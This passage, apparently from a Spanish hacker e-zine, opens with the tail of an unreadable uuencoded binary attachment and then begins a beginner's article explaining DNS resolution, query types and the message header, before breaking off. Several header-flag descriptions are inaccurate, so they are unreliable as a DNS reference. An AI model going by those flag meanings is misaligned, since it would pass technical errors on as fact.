M<MU";\D!PX!+HCS/2;&ZNE&]YX34$TW.33S84^=5GL=??<2>IY'/`[JM2QR.
M*5H9AHY^3A?;*N]S=/-^8U?5RJOEFM(K+MW-G9'O_^%N?C3/B3QKW?_A;D9T
M_UZ=3/>)_`#J_BBX*:U!AZ\CUTN7X"6BX^R@J^^A8I6:#.B1;+Y;*7F#*+"=
M=B54LY+>=3;O0Y>!6[C7^!":1&[EZ+??>'GXR][Q4FM9+16\@OI^6V$8CB_X
M`U^%?Q>63>Z3P]='1Y+;*OD/5=@IJ._4$GZ4%,!95IL(("[Y]O!X"69A!PHN
M+?E4P3=+G>5EU,18^D9B,&+9"$$42D%(+A-LT8:Y%$!7K6ZI0'VO:NL;$/CN
MNV6:9``=4O$^#57J@N45W2[\H#K&X60XY$0T*I.&<#(>/Y=JRULY.H>BZBI0
M_3OD*U7X^VP!"[5YIC)I+IM'^U-V`4?E\X[5,W+YLEE:91:$;"W1Z4LM2TYQ
M9@LJ&B=/=YLO]G:>[ATWM*ABNL@`YPRJHLKE=33'G5FU6M](L&DNA#D9-++E
MC,9?ACFKKLVS%[K"112#ON[!IGBC^L$PPF,UVY=$Y$"-Q91(+%`[$DNBR!):
M<%H[W^*NT#'J9@N!Z0V_6JYF`R.9)Y<LZI_6<(OCB\4A03G8VR4M(MK2IB/&
MON<4V4:J#_C/S8JZW?JTE<-G+X*6<C)P;?_V1R&,PH?5E=5/5!<J/[Q]"1QX
MM;R*>^BJ6Q&*1_;'\7;:@Z:B?X!H<L%F9ZCKQ:#?%I4VTR0E)%'V(E,#^/^H
MC[!0@#Q00:?DWPQ'L#V04SPRG(&XH3<R'CD\ANH!YE96[$'3[:J(ZB!Y9FKR
MT(>M(7Q_VT4:W`5RW"UU@0`#(<-VOCAZ_58]@N8Y7>E'?AF!?O<=C0*67T+0
MQ>*RXG%IF;C$L"TK2/Z@<-!W#U6]7+M:RQXF)<B.MW10(*!R^"K@R=`!X"KM
M%U8.B&*'TN/OOB.JG_LD589]GWQRQ!?\#7ST&L@[]&6[=RO[L5:P)CD3H^9@
M1I/F]!QG1&U]154??2(D0];9`0PZ(4Z7;V].5\\QY;OO("+&`JIL[,+$46YM
M=A^H4HFT7W!,$4WO(KSB/E=*KRRKOF`X'F%%^*N&W&:L=F@JG3UAT9$5S`96
M@<F_+Z,%)-&'6KGV:%-5UU<W2JNU=;746%:'L!6B/$Z+_3S[*?L>>1\51&4A
M1;(3_VO+1MD;GM;/46_9SEB\V%(7I1_^!2U8-ZB_?GERO/^V5*^I-W4@$$O'
M_I5ZLJRN$M-&)HVI@<>@2J-_K^N/:O6)N?^0P<G:H27)4L"^Z\0FA#U]6OOK
M#F:ZRFQF=MHV+*6RMV!)=$TT[MQ]N8RUZ\ZG,#ZOBO?`QU>?;*G>'/MUK3I3
MUSL#YCTM#YI6V3]#X.[ANQ)CO*S<SN_(NR[E8N&F,*_XLE:]YY&L.Q[?(LNO
M:U,G^X>[S_=.CO[X&6TQ;L7TH]K4"9W5M?:"NE_!*6>\G*M!.:6TNP+F'(#Z
MHWL-`+GN"MT1P/[?^=OU?U8_:IV]F18D36>!)2P%9G=_0MN?#=#=%1OC('JW
MG<F`3N.PY]`-(WIWGVFLCP7F(28;21FM*3PGU<"\35WHRW#_M8UY1+/(L[`O
M')$WCT,E9+T)1[')A99=(%MP&0Y]-)2^51W_.M9FB%9HC&*%?*R@%[3&[$V!
MV#?=]B4X1%_X<"!G?BOK-N4_18_#:G+&(0M=Y9')F^)G6FZEVX7AP4F&A<G$
M6+HV`.:G/Q05>4(3NZ!WC8Y*D;?@[MX[.&S\V@`\D".V8*#(#XXG$_)&C'?5
M;0)!E]B7I(P_AL,&[98(IMG4C0=*..I#SY-_C(#TP,GKC1[!CF#>5DL\9<Q$
M)PE+,K$9)T,_A>]1WIM;H(EM]YA8VMV/NZL]?O+%M%N<)?V_H-OBUC]%LT4D
MFC.46`A,0</Y(RHL5#_IL,2NTHD2?U1P8BE,UT\IJ,)T#97[**A0;2SV47>Z
M16#'SPF/;R&[]LH587I,;L0<Y$[&M_E3XVFS<?CZ>'<O5I"9I]P?+_ALY\WA
M,1:WR\GV=]DFT<+`'U>(W85`^1+W0`\5FSJ^<7+.>?-3M`5G[IA8[NX-LU[/
M<N-$==[K(G-1,/\R.V:]_OA>#)RTZ:^[D*RC-ZS_Y0M)F^0D1B6#Z'VQN\E9
M:$VGA;-)H<`I:$!_A!C"?$C20ER69J5-IX;E2NGA='((V^;#^Y!$K/1^%%$,
MI')%O&B[B-KS$D&@1?N-%\W#QKTH&?51XW#WYYVG3X^;C9WFR[T#&P!A@DJN
MGXL)`0)*^*?``2#!YT.)^!V@>0%)5[W<.=YW8$VETU'8>N^/68.<PW.0[+75
M)PF2G0$F6Q6=$PO-@I3XOZ&$+LC>0PV]NE:=YX3_GW)^X0Y*GUYT_/U8\[7:
MXZ^*YW]KQ7-G]?Z=5<\%T<]4/@?0`HC>:4!O9U,4SV<26S@]H&/:BUL^'I,!
M932/A'IM_5&"X$X!-<46,^H!Q76+_-\@O(#Y_:CNQCQZUO\I5-<9T33Q323?
MDP8_VOA*@__6-!C7QM^?`".6GT]]$<H\I!=."/LG^X<'.R^9GA3,#D"8%&+&
M>CDFU9E/1-^&DQ$^^2@*%6&G$[0"?IT-U01&:*!R*P[H:W?`:D\&@Y#]'0`X
MTB9`C2"K+'F;T,]_\%O)YIGCF.ZQ>P7-\JOXM5YR]69[@6`'#)0_$D)$KPTC
M$3(8`@B<KA'9,-$;QJ@!P!)^_;"N^,RA]]SP,9_QM>\/'!!<(0O]33P9U[`[
M$.E`H)"=20^K8;T6>2R57"UTG,<M-:JH*,-^+*X]?GOZO>\/5_B!#>]6?$F@
M)PF_C>)N?)X&H/UTJY^;6;'P(7\BYM%C<8P164XKZ,5-?.U2/\,6D$_8P-+>
M(4]#^JU8:!R^"83]TT5K6J=7+_'E(8);HJ<NG^V_W!,?H-I[D>/IUF"PQ0,7
MH">DZTLA9]P"0N.:=PKRIV*]J&0&(<"'IZ/)A;8K"_QHQ8PE#6+<9.SZY\$5
MZ9?:R,:RIW9`'E<BR@_Y5HCUB)]S-O67S3.A952>(B>]L%*&>-N`5XP#W7*W
MO[<32I`P/]2E()7R%&7L?JL9$?/X##]>7T&D#'Q?@@$]U&X$O='74]"L:N
M2Q+;YQ0_F$HN/_B-7!QV5+*Y]M7[07B-$&"YX@KU1N385L9$172ELJ)P^6/'
M\"M//I$&>AET037"%9FTZ+S(KHL1T=Y"HH)4CH5$B2ZZ)+]BB#U[N8K&;2"!
MO++(\^@%+F0>6UB-'.C=(OZ8)_)9*TM=`A>B+H*Q=N)L];BH%:,WQ2@*NF90
M`"]`90E`T(Y>I9MBDGN_6\+M;NBU_.V"*FPID^4=.UDJFN0S[1MI@1\ECE<.
MO\,M#\$"PC@EO79;K`'5$ML+ECB;[4=%P"'7$JDS^&.CP+.S%6EQVZ1)RK+X
M8\9M<2`;(&V!^:A2J!001J%0Z>832;^=G2V=6OMG$?=M)^+L;'G[C-ZA.%NN
MG)U5M\\6/^`/@*P5/E6&^9B0)[I!6FF:CX1GY/\^"4;L>>SHL+'_EOI$GC&/
MN\9I#&_SO]V)*.!)SV54`#O`$3"M`7Z%]Z/.0':T]!_J75'R+O9CTS&:>G
M%<N-:/C:+I%Z=W,R;,]XU#+FV#C9?>32\H#$P&@;T0`G`UPG[(`Z"S;?]L<,
M'+=3]M:D/K)A;3`THIGJEXNJ6*8OXN)ZOC<@X)'F.\P&+8^.Q&^ORM.KR!+K
M-T"\Y.NG.7:/3U[G_)LA$9(;OR6I90/3BG0`6_'H!XA#Z#QH0>W@>_>TNNDL
M`:OB#7E,HV-*1'J'5.TX9#+-WF_UQL6NCI`0`1V4A=D*>^&`W\2C>2I;+V^1
M."RH(X5OK]%FCON[\"1<T/$E3^[C^?4\W,]IW[;>K]5O\$)3R[9SRJLAODI8
MJ/QVJAZ<%ZE!%-H^_6WSO+A8:1>(";3&-WXR]F3GY'7LZ+J8'D!\MWN[])3X
M:RGT`GOREP!.4!-6O<R7*WFVXV9.*^*GK[4[NHYQ.RQ;8#FWB3ID-@K;A@'A
M+)]$(\;P'"[&N:QF"#N8:)OPX]^PG4F$CXL_]P?^B)P;NH\+7]RZ^_;Q1#@_
M_18Q$"GVBCRVWA+413SV;B7,9^SA"Y_F-F#)6R7ORK2YAO)0X;LE_&'QPT=8
MP1@H#1QC!3G15']_MTG<W.*J]2`=@&ZRFTCTR*[U96&`<*^%`V%[TK)?-X3L
M*YKO=!@7^U'S%7[5/.8->^B/CQ@_XO=@',DY>]2<1%[7W\Z_QI_-Y`"<&J[E
M',/B>9/",%F&YWFM=\0\38X\^?&]\MFBB1:_A88!^F@Q0W$X#IJ0#L@O_]A'
M'&"?Z&7SLWA*OMA[^;(D\^53=D<#E$%8DNE`8:AC0DUC^HVDX\^#R;N3[CQJ
M1#H<!TU(!^27?^S6)P:K:Y8&S!5/*]3IJFKE:DVW#F;!JF"%PTB0[8#\\H]=
M(PVJGC3Y+0=4<7E6IFJ\1\MM&V1"#GG0U$_`\V\<'SO+TW[P$AN=7.8;/PHR
MU2_UM3XP0)NGOZGS8@4XHW<S*"52&9$&9%(@>NT<&)<6,#%=CYQ77O@X[T+>
M`D8D'XM0\$;B,'KV&/D]XI!=\BGO@3W\L?+CCQ7@.RL_/M2AA]VSQ<J/70C#
MOQ",*J?(V'W[\+Q"OY4N=&&$N1]*T1^Q-(4P_\-NQ7&:C"C@N?IL%QNQJ+>;
M'.R^T(\8BA[^R,Y^?WPH'J@?=BE2WE/`:`E*PMNW)D&"G(![#43B#T>(PW:(
MDY!$[_]$<?##$=:.#_'6%R>;%#<RZ_DRRI25P(5@^<+T@DP<X,C(Q$9V="^X
M0$PX)?[@1/$Z1D("ZC8C?8FCF0Q))TH!SP)<,3H34&L)>9N5QO@UB!BD3
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
M="+[6G7.&5G.\0!GV6*5H^A.X,!:918L5+&O[(NBOQB^"I^N,-)%#"=@'-
M[4*I3?@/YZH&U@EFX4;5Q<9N&4@R?GRU(61V\P$>*09T(X@K0#9EO.5X(`)J
M;@)-7/%L3'!E1L>+A:$3OE!G[H$LM@<D^3G%ZX%%2(QS/M#+")HIW:1CB)3D
M4)A#"6A`[+$G"I(X7'(/`F?2]L?LPD$8Q?RB@%"(`U4X[@_S6E8%@-BQ%-_B
M6OK%`H_%^6U]?\T^HR#>IW[A.RJOK9`I[G`52\P_32)=V7+L@*50+`"QE^9+
M_E)(/8%!F#72$TP5I!/<\5&<U_6=DL=L/#K82;J+<53PE1&9D@(\/=YMV#2#
M`3.U]H`;F(()HX6#3N;H=K'`>71[A7A-\5P>SR9<9UNR26I'-<2`ZE><<->5
M)Z[IEHP=?.BB4>RB1ANZHT,'NJ0&AC]HY9)3R[29*#QU1N6=7O'4D>_2C:/V
MR0*U523\_J3GC<7MC]S'F8D$H*T+.:S<\B"UPI=Q*RM;T4J%?WY;7"FO`&W)
M+1!3!IPJ>9`1MMONV5@A6YM-+RCA\.5=JC$``3=A!ZE^H93.`V8`7,4_^]
MC#-`L5FBQOM@"'W&?HM00T8<WX@2QR2:>#W:YLJ\ON4VCUN9-VM6],'VGS6V
M"P]RA1P&@`>`G]+BASCQ$W(!89SX*4\.74AEHA")"Q9V(Z,P5T5<G_;1*XL7
MH5T\5?&PD$.^KZ1U?3\P/I_LOD9[U!^[!?GX#8U<H9NE[I`KSR$CANSN=J$0
M;_6+"ZH$7.JJ.E>TTS\PN:"D#G]:_%`%"`^8Y,I\D]Z),^41AI%ARQQ<-'R2
MFS=C>6577<DS*9]!=86D+R+;JF+:UZ;G#',Q6="\@$NME933J51P2Y3F`3E%
M*O$`R(+#[,`T.)QZ-QS-$63#T:GSX,.,TC1\.#43CME:@+)=^P58CMU0CJ\C
MIA?LQ`,]&;)C#_94U#:W*^;`/`BORU9GVUR+$&-E4R;6<(S)$D3%9"D[72VF
M&!A8!)#]`:FZV#6^2V?5-)S/*1[J'O"1W*)VI'Z#FEUC'SV9H*+.0/NNT`0Y
MY^PSK$9PS^;96PH10C@<^OTA,Q_:!:>ED&@I&Q!O`1OLMI"ER@+.]_+BX@(!
M$Q=F*"`Q2#-$\<Q$]4@SD@O&8A9XX9#5?U[T%#YP"BSS54HU7J)(GL`>)\BX
MD1EW5OO@TSU='6+62=!&(]-(9AP5[,B-&WIB)'\NW@5JY2*RUY=AC]_5Z^()
M&Z>H]MZ&S$=W@/YTZ(HCTL\<Q@!7%!E<]<U&0Z_>A5(,E?BL@K%8*C^C5PP+
M5?YC5`5`6`MPZX^3E=F`[D%7[L)H;L*2"0C-$&"5.92D9Z8B['(]>],OQU.2
M3K$TZV26ZZ5&Z$DF.M>:"9O*B9XT"0FM[')/^:^^)JS^)=)E_KM#_Z-:WU@E
M^?_:ZMK&(];_J*ZO?Y7_?XF_\ED^!_^Q_H>9#([RQWJE]D355C=KCS?77.4/
M79@5/VY0L@><:]=75]7R*J5DZ'?`\6U.%0\$D/TWAX;'],*,]LD+);?OZK'*
MWY2AU8!=7N6E$R!+XP59H.0D1IV52$GN*!@,O%:/KR0HB;K$NIW`DHU?#PZ/
M&ON-7/DGW:^YT[.2["#GN3)Z`5/E<:"^6Q]0B:=[C=WC_2.\:\R57Q[E=*_2
M^>O*AU/"`$7]_)@4[!&L/(C25Q0#`UW!0@AH]_#5JYV#IZ67^P=[ZI```AHG
M1^B,!K`!)/"+@T,*,L9[>VKG9>.0X(Q-PY8>+Z^@ZK]_[?7>TP<K-"S5EUDI
M`0)4?N?UR8O#XP85GV.`YIT$`/FGU\\9[%'/]\AT#/;DBTD7+PA@%Z43?;HL
JL@C):O^&&GA?_[[^??W[^O?U[^O?U[^O?U__OOY]N;__'PJ?4$8`X`$`
`
end
<-->
*EOF*
-=( 7A69#12 )=--=( art3 )=--=( Protocolo DNS )=--=( IaM )=-
El DNS (Domain Name System)
---------------------------
Hola a todos, soy ^_IaM_^, este es mi primer artículo, espero que no me tiréis
tomates ni nada de eso :P. Escribo esto por que estoy haciendo un trabajo que
explica unos cuantos protocolos de Internet y como tenía dudas al redactar,
pues he ido consultando por ahi a la gente y al final me ha salido esto, (asi
si a alguien le sirve de algo pos... que haga un ligero copy & paste tb de la
bibliografía!! xD).Gracias a los que me habéis echado una manita cuando estaba
en apuros, si hay algún fallo etc, e-mail a 1am@gmx.net ;) bueno no os flodeo
más empiezo con esto sujetaos bien xD.
Un servidor DNS es un ordenador que se encarga de convertir IPs a nombres y
viceversa. La resolución puede ser directa e inversa, decimos que se trata de
una resolución directa cuando el usuario le proporciona el nombre del recurso
de la red y el servidor le responde con la dirección de la red del recurso, por
ejemplo:
[root@rex iam]# nslookup
Note: nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead. Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
> microsoft.com. (El punto es para que busque en Internet no en la LAN)
Server: 194.224.52.36
Address: 194.224.52.36#53
Non-authoritative answer:
Name: microsoft.com
Address: 207.46.230.218
Name: microsoft.com
Address: 207.46.230.219
Name: microsoft.com
Address: 207.46.197.100
Name: microsoft.com
Address: 207.46.197.101
Name: microsoft.com
Address: 207.46.197.102
y decimos que se trata de una resolución inversa cuando el usuario le
proporciona al servidor DNS una dirección de red y este le contesta con el
nombre del recurso, por ejemplo:
[root@rex iam]# nslookup
Note: nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead. Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
> 207.46.230.218.
Server: 194.224.52.36
Address: 194.224.52.36#53
218.230.46.207.in-addr.arpa name = microsoft.com.
218.230.46.207.in-addr.arpa name = microsoft.net.
218.230.46.207.in-addr.arpa name = www.domestic.microsoft.com.
El servidor DNS está organizado en forma cliente/servidor. Los clientes son los
resolvers y los servidores son los servidores de nombres, aclaro esto porque
yo no sabia que diferencia había entre un resolver y un servidor DNS y es bien
simple. Cuando en nuestro navegador ponemos www.hispalinux.es, por ejemplo, tu
eres el resolver y los servidores DNS son los que te contestan convirtiendo
este nombre a IP. Los servidores DNS estan organizados en forma de arbol, no
se si es un buen ejemplo pero más o menos como los directorios de Linux, pero
empiezan de atrás para delante llamándose unos a otros hasta que llegan a la
ruta especificada.
Hay dos tipos de Servidores de Nombres, los primarios y los secundarios. En
principio cuando haces una consulta se la haces al primario, pero si este se
cae se encarga el secundario.
Cuando se realiza una consulta a un servidor de nombres se puede hacer de dos
maneras:
* Consulta recursiva: En la que el Resolver le pregunta al servidor de Nombres,
si conoce la respuesta, entonces se la devuelve al
cliente, si no la sabe contactará con otro servidor,
así hasta que reciba una respuesta válida o un error.
* Consulta iterativa: En la que además de recibir la respuesta o un error
puede recibir la dirección de otro servidor de nombres
para que realice la consulta en su lugar.
Normalmente las consultas iterativas siempre estan disponibles (por defecto),
las consultas recursivas son opcionales.
Ahora explicaré como van los mensajes DNS, nos podríamos imaginar un mensaje
DNS de la siguiente forma:
---------------------------------
|Cabecera del mensaje |
---------------------------------
|Solicitud de la información |
---------------------------------
|Respuesta a la solicitud |
---------------------------------
|Servidor con autoridad |
---------------------------------
|Información adicional |
---------------------------------
En la cabecera del mensaje se indica que otras secciones están en el mensaje
por tanto siempre está presente, la cabecera tiene las siguientes partes:
----------------------------------------------------------------------------
| Identificador |
----------------------------------------------------------------------------
|SR | Codigo solicitud | RA | TR | RS | RD | Reservado | Codigo Respuesta|
----------------------------------------------------------------------------
| Número de RRs en el campo "Solicitud de la información" |
----------------------------------------------------------------------------
| Número de RRs en el campo "Respuesta a la solicitud" |
----------------------------------------------------------------------------
| Número de RRs en el campo "Servidor con autoridad" |
----------------------------------------------------------------------------
| Número de RRs en el campo "Información adicional" |
----------------------------------------------------------------------------
1.- Identificador
Es un número de 16 bits generado por el cliente cuando hace la solicitud,
entonces cuando el servidor de nombres tiene que responder vuelve a copiar
este número en la cabecera para que el cliente sepa a que paquete esta
respondiendo.
2.- SR
Es un bit que indica si es una solicitud de información, entonces es cero,
por el contrario si es una respuesta es 1.
3.- Código de solicitud
Es un campo de 4 bits que identifica el tipo de solicitud, lo establece el
cliente y se copia en el mensaje de respuesta. Puede tener estos valores:
0.- para una resolución directa
1.- para una resolución inversa
2.- Una solicitud del estado del servidor
3.- 15.- Estan reservados para más adelante, no se utilizan todabía.
3.- RA
Es un bit para indicar si la respuesta es autorizada 1 o no lo es 0
4.- TR
Este bit indica si el mensaje fue truncado
5.- RS
Es un bit que si esta a cero quiere decir que el servidor tiene que realizar
una búsqueda iterativa en caso contrario recursiva.
6.- RD
Este bit indica si el DNS permite búsquedas recursivas 1 o 0 en caso
contrario, es una comprovacioón para el RS.
7.- Reservado
Es un campo que no se utiliza todabía, actualmente siempre esta en cero.
8.- Código de respuesta
Puede tomar estos valores:
0.- Sin errores
1.- Se ha producido un error de formato y el DNS no ha podido
interpretar la solicitud.
2.- Ha habido un error en el servidor y por lo tanto no se ha podido
realizar la solicitud
3.- Error en el nombre, se recibe este valor cuando un servidor DNS
autorizado a resolver nuestro nombre nos dice que no existe, que
no está en su rama.
4.- Solicitud errónea, el DNS no sabe como resolverla.
5.- El DNS no ha aceptado la petición.
6.- 15.- No se utilizan todabía, estan reservados par un futuro.
9.- Los RRs.
Los RRs son unos archivos de recurso que estan presentes en cada nodo DNS,
estos archivos se utilizan para encontrar el ordenador al cual se le está
